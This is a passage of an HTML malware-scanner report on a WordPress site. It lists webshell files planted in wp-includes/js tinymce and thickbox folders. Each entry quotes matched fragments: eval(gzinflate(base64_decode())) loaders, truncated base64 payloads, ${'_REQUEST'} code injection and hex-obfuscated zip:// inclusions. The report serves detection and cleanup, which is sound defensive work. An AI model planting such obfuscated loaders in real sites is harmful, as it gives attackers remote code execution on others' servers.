</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_33").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/js/page.template.1769473134.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 15.03 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 02:19:16</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 02:19:16</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_34" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 108</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$__</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 55</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$_</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign ae7830db <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 6</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: ae7830db)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB">Y2hy</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_34").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/js/tinymce/plugins/textcolor/textcolor/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 373.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:54</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:54</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_35" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$SX</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silence_inclusion <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>LFI (Local File Inclusion), through a silent inclusion, allow remote attackers to inject and execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@include_once </span><span style="color: #DD0000">"\x7a\x69\x70\x3a\x2f\x2f\x6f\x67\x76\x5f\x36\x39\x37\x38\x37\x31\x61\x36\x64\x34\x61\x65\x32\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x37\x38\x37\x31\x61\x36\x64\x34\x61\x65\x32\x2e\x74\x6d\x70"</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 5aabe84e <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 5aabe84e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">include_once </span><span style="color: #DD0000">"zip:</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_35").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/js/tinymce/plugins/textcolor/textcolor/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 418.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:54</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:54</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_36" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$SX</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_36").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/js/tinymce/plugins/paste/paste/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.52 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:51</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:51</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_37" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'8eOKU6P8HFEbF+2DrlT1QGhseKjXWF7Zsd/7zvfyufexxHvwwPfG85FGQ7fthdv+kw14RP6pjPv7vh6HW+ENvG7GYXKTDXuu9eyFb++y9nv3Tnd9Gn4lLe7uLeTtLf8pDUsA3rxbm8NGvK54T9/Zikia/tRZu/NbZxfvvI7oP+7bOrGlEWDaGjSC318XNjkS8dzn+t+1skPvajDQFsHUuU0rZlxLdL2LAA4NRvgCjyq2cwESftfjpOrrvlTUSP5/AZOfKToDEnMDszhIkUiTgKMMQGYZ6ARyykQ46+NMBrg7rg4wDs/fxYdIiR9cDphKRRY6hT83Nkt3uoeStytIeXga3ANfZz5nddDXHpyWvaVqpIzQPUdee/IWs+svIreck/fx6dezvbdsL/+bnGDrLcCRxaQ1d1EbxuedaFtDsvanOhEvHh+tbq++bi6n+v3HeGanQfFkZNqgMkgHbPKGI60NuqPKY2ZEPm3r4J8ztwrJaYNpjnV...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$raK</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_37").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/js/tinymce/plugins/wptextpattern/wptextpattern/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.52 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:14:49</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:14:49</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_38" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'dwzsM9D/RBxWhv9wa5UNkRIrnx4l1xeOb294o3fRmLO/xjHZxDvH/xpGJ3Pr+7XfdwM9yhHf8bVf1WfSlfRzbxuB2lS3wlrXPO+81bO+/3l9w3uejX8ylvd3Ev+2lPu0BuWk9a8mJftxriO+UzfWIpo2fbUm7fzWX837LyP6j/xmzqRJh9QmCXpg7aeonRyJ/upT/RvaW1nXsxRoC2DKXI61tyoVvBrFRAeT0Lowo8qNHMh0X7Xfqz6hteqS6J3nILwzZCVk9yEguHuwSImRqzwAZghJDFJLTDhn704ssQivCjL/389lj3hYG0zdkEikFihXPydXQ3eri7NlK2O4f8utD20lNXY21P8djX6a1patFZGaho7x35oFrP/ryqnE9/XsRX287WF9iv/2pxw6CnQUsGUdXNxWsrXnWR7E7r2ZTIx7RUQ7mqv/mo+t979hnh2R0XBZWjKIDJ4x2jiBiOdjr6jBmdGxj59KeC/cL9aiGWT64Zl...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$FYw</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_38").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/js/tinymce/plugins/compat3x/compat3x/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 371.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:15:06</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:15:06</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_39" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$N</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silence_inclusion <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>LFI (Local File Inclusion), through a silent inclusion, allow remote attackers to inject and execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@require_once </span><span style="color: #DD0000">"\x7a\x69\x70\x3a\x2f\x2f\x6f\x67\x76\x5f\x36\x39\x37\x38\x37\x34\x30\x61\x65\x32\x63\x31\x35\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x37\x38\x37\x34\x30\x61\x65\x32\x63\x31\x35\x2e\x74\x6d\x70"</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 5aabe84e <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 5aabe84e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">require_once </span><span style="color: #DD0000">"zip:</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_39").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/js/tinymce/plugins/compat3x/compat3x/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 413.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:15:06</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:15:06</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_40" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$N</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_40").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/js/tinymce/themes/themes/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.52 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:51</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:51</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_41" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'owOXp8A+jCitAf7h36JaIrQWNjxLpr9c0u71r/PRlHu/yjXZwDfG859Dq1P1+5zPNaue64TO85iPHrvpyjo53afA6cx746FrUt//wj3v9Y9f/mDX7KPc5bX9ytT96rX9giF5uB3pxbn8pmvP24TFTJit2K9p95s1F7f+j/vO7oP5vbMiaFE5zZKYtivqZhcCtV+0++/GV6ZVbewKjxISHoetoH2Fb2+BEmHE8NSsIiizDWc90ydn7tqIrn20d6phwPgskflJsB1I7g7cEiJk4GoAHTkCSWOS0cMJMOubLjwLx+KPOcf57XMWDyYXLnQZgSUFie/F3tDa7dLpjkreHg/7jGNZzH2d9JX34nOWdrWrSlVmJ4GseHeh72vys/Jh+8l73xFfuztf50L9aLkOzLIVqBxXUVc147xpW9aA9jtmGXMuEPEep9bvKubr+f3obndE+XQW1kaCSAOs8nYAqWL4o9sgbmZ8ZUPin77HQju4j5YedZh...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #DD0000">"_REQUEST"</span><span style="color: #007700">}</span>
</span>
</code></code></td></tr><tr><td><p><b>Function eval <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Potentially dangerous function `eval`</p><p><i>[<a href="https://www.php.net/eval" target="_blank" class="text-primary">https://www.php.net/eval</a>]</i></p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">eval(</span><span style="color: #0000BB">htmlspecialchars_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">gzinflate</span><span style="color: #007700">(</span><span style="color: #0000BB">base64_decode</span><span style="color: #007700">(</span><span style="color: #0000BB">$BaRkq</span><span style="color: #007700">))))</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_41").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/js/tinymce/themes/themes/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.29 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:51</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:51</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span><br><table id="file_42" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 2</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$nzT04GkwvCt</span><span style="color: #007700">[</span><span style="color: #0000BB">44</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_42").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/js/thickbox/thickbox/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 371.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:48</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:48</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 3</span><br><table id="file_43" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$F</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit silence_inclusion <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>LFI (Local File Inclusion), through a silent inclusion, allow remote attackers to inject and execute arbitrary commands or code on the target machine</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">@require_once </span><span style="color: #DD0000">"\x7a\x69\x70\x3a\x2f\x2f\x66\x6c\x61\x5f\x36\x39\x37\x38\x37\x31\x61\x30\x38\x66\x65\x39\x31\x2e\x7a\x69\x70\x23\x63\x5f\x36\x39\x37\x38\x37\x31\x61\x30\x38\x66\x65\x39\x31\x2e\x74\x6d\x70"</span>
</span>
</code></code></td></tr><tr><td><p><b>Sign 5aabe84e <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Malware Signature (hash: 5aabe84e)</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">require_once </span><span style="color: #DD0000">"zip:</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_43").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/js/thickbox/thickbox/index.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 413.00 B</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:48</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:48</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 1</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_44" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit double_var2 <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Double var technique is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">${</span><span style="color: #0000BB">$F</span><span style="color: #007700">[</span><span style="color: #0000BB">0</span><span style="color: #007700">]}</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit hex_char <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Hex char is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">\</span><span style="color: #0000BB">x5f</span>
</span>
</code></code></td></tr></tbody></table><script type="text/javascript">$("#file_44").DataTable();</script></td></tr><tr><td><p><i class="fas fa-file text-primary mr-2"></i> /var/www/bartolini/bartolini.com.ua/wp-includes/js/dist/script-modules/block-library/block-library/cache.php</p><span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Size: 5.52 kB</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Created: 2026-01-27 10:04:31</span> <span class="badge badge-pill badge-fileinfo py-2 px-3 mr-1 shadow-none">Modified: 2026-01-27 10:04:31</span> <span class="badge badge-pill badge-warning py-2 px-3 mr-1 shadow-none">Warns: 2</span> <span class="badge badge-pill badge-danger py-2 px-3 mr-1 shadow-none">Dangers: 1</span><br><table id="file_45" class="table container table-sm table-striped table-borderless"><thead ><tr><th>Description</th><th>Match</th></tr></thead><tbody><tr><td><p><b>Exploit base64_long <span class="badge badge-pill badge-secondary py-1 px-2 ml-1 shadow-none">Line: 1</span> <span class="badge badge-pill badge-warning py-1 px-2 ml-1 shadow-none">Warning</span></b></p><p>Long Base64 encoded text is usually used for the obfuscation of malicious code</p></td><td><code><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #DD0000">'gZ6QzRA8vii0Af7g3aJZMrQWJhxLJ79W4P4xHff4ave/l7fpOO8t3rOXPZ6X9fej7OVCO6vrX8ZZ/xq+IK+u2XjFNeiaf4y17HHu/x3d4uP5u9XzKPc9bn9ydT96rX9giF4mB3px7m8pmvP34TZTJi1WL9p9Zt1F7f+j/vO5oP5vbMiaFEpzZKYtgvqZmcCtV+0++/GF6ZVrewKjxIS3oetIH2B72+BAmHE8NSsIiiTDWc90ydm7jqKrn20d6phwPgMnflIsB2Ibv7cEiJk4GoAHSkCeW2S4cMJEOfslZY5YfFHHuj8/LGrDBMrnbI0TJKCTfci7+ht9mF0T6VvdxfdQrGv5DbO/srd8bHrsVLVp6KzEkDWfAvwdrXZ23kQf+y974sPvYr3td93br0ZcNhSMKWCqurmcL21rTrodg9U7kJl4tILsdT1xfTV/H+9Vw5odG9VQm1oCyQCeodoYgoT3wq+IgZnR8YevinwP3cvmoh1kOeW...</span>
</span>
</code></code></td></tr><tr><td><p><b>Exploit global_var_string <span class="badge badge-pill badge-danger py-1 px-2 ml-1 shadow-none">Dangerous</span></b></p><p>Code Injection, through escaped global vars, allow inject attackers to execute PHP code on the target machine via HTTP request</p></td><td><code><code><span style="color: #000000">
